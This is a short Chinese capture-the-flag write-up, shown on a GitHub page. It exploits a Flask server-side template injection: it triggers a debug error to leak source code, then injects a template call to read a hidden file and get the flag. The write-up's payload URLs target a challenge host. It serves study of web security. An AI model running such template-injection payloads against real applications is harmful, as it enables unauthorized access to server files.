Skip to content

Latest commit

 

History

History
24 lines (15 loc) · 595 Bytes

243 python题.md

File metadata and controls

24 lines (15 loc) · 595 Bytes

WEB

243 python题

我是链接

查看源码可以发现是一个 flask python test 搜flask注入得到flask注入 然后让flask报错

http://218.76.35.75:20102/data=sleep{{person.secret}}
故意漏写一个字母
http://218.76.35.75:20102/data=sleep{{peron.secret}}

得到页面源码发现

def get_user_file(f_name):
	if(f_name =='473bfa63bfeb1e673d6d151a799af923.py')

于是构造

http://218.76.35.75:20102/?data=sleep.{{get_user_file("473bfa63bfeb1e673d6d151a799af923.py")}}

得到flag: